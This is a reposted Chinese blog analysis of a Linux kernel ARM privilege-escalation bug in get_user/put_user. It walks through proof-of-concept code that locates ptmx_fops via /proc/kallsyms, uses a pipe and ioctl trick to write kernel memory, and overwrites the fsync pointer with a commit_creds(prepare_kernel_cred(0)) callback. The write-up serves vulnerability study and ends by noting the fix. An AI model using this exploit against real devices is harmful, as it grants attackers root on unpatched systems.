转:http://blog.youkuaiyun.com/hu3167343/article/details/34454381
/*
本文章由 莫灰灰 编写,转载请注明出处。
作者:莫灰灰 邮箱: minzhenfei@163.com
*/
1.漏洞成因
Linux kernel对ARM上的get_user/put_user缺少访问权限检查,本地攻击者可利用此漏洞读写内核内存,获取权限提升。
2.受影响的系统
Linux kernel 3.2.2
Linux kernel 3.2.13
Linux kernel 3.2.1
3.PoC分析
(1)从/proc/kallsyms文件中获得数据结构ptmx_fops的地址
- void *ptmx_fops = kallsyms_get_symbol_address("ptmx_fops");
- unsigned int ptmx_fops_fsync_address = (unsigned int)ptmx_fops + 0x38;
- static void *kallsyms_get_symbol_address(const char *symbol_name)
- {
- FILE *fp;
- char function[BUFSIZ];
- char symbol;
- void *address;
- int ret;
- fp = fopen("/proc/kallsyms", "r");
- if (!fp) {
- printf("Failed to open /proc/kallsyms due to %s.", strerror(errno));
- return 0;
- }
- while(!feof(fp)) {
- ret = fscanf(fp, "%p %c %s", &address, &symbol, function);
- if (ret != 3) {
- break;
- }
- if (!strcmp(function, symbol_name)) {
- fclose(fp);
- return address;
- }
- }
- fclose(fp);
- return NULL;
- }
(2)找到fsync的地址,即ptmx_fops+0x38的地方
- static struct file_operations ptmx_fops;
- struct file_operations {
- struct module *owner;
- loff_t (*llseek) (struct file *, loff_t, int);
- ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
- ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
- ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
- ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
- int (*iterate) (struct file *, struct dir_context *);
- unsigned int (*poll) (struct file *, struct poll_table_struct *);
- long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
- long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
- int (*mmap) (struct file *, struct vm_area_struct *);
- int (*open) (struct inode *, struct file *);
- int (*flush) (struct file *, fl_owner_t id);
- int (*release) (struct inode *, struct file *);
- int (*fsync) (struct file *, loff_t, loff_t, int datasync);
- int (*aio_fsync) (struct kiocb *, int datasync);
- <span style="color:#ff0000;"><strong>int (*fasync) (int, struct file *, int);</strong></span>
- int (*lock) (struct file *, int, struct file_lock *);
- ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
- unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
- int (*check_flags)(int);
- int (*flock) (struct file *, int, struct file_lock *);
- ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
- ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
- int (*setlease)(struct file *, long, struct file_lock **);
- long (*fallocate)(struct file *file, int mode, loff_t offset,
- loff_t len);
- int (*show_fdinfo)(struct seq_file *m, struct file *f);
- };
(3)替换fsync函数指针为自己的函数
- if(pipe_write_value_at_address( ptmx_fops_fsync_address,(unsigned int)&ptmx_fsync_callback )){
- /* obtain_root_privilege - userland callback function
- We set ptmx_fops.fsync to the address of this function
- Calling fysnc on the open /dev/ptmx file descriptor will result
- in this function being called in the kernel context
- We can the call the prepare/commit creds combo to escalate the
- processes priveledge.
- */
- static void ptmx_fsync_callback(void)
- {
- commit_creds(prepare_kernel_cred(0));
- }
- static unsigned int pipe_write_value_at_address(unsigned long address, unsigned int value)
- {
- char data[4];
- int pipefd[2];
- int i;
- *(long *)&data = value;
- if (pipe(pipefd) == -1) {
- perror("pipe");
- return 1;
- }
- for (i = 0; i < (int) sizeof(data) ; i++) {
- char buf[256];
- buf[0] = 0;
- if (data[i]) {
- if (write(pipefd[1], buf, data[i]) != data[i]) {
- printf("error in write().\n");
- break;
- }
- }
- if (ioctl(pipefd[0], FIONREAD, (void *)(address + i)) == -1) {
- perror("ioctl");
- break;
- }
- if (data[i]) {
- if (read(pipefd[0], buf, sizeof buf) != data[i]) {
- printf("error in read().\n");
- break;
- }
- }
- }
- close(pipefd[0]);
- close(pipefd[1]);
- return (i == sizeof (data));
- }
(4)手动调用fsync函数,触发自己的hook函数,得到权限提升
- int fd = open(PTMX_DEVICE, O_WRONLY);
- if(!fd) return 1;
- fsync(fd);
- close(fd);
在put_user之前加了个地址判断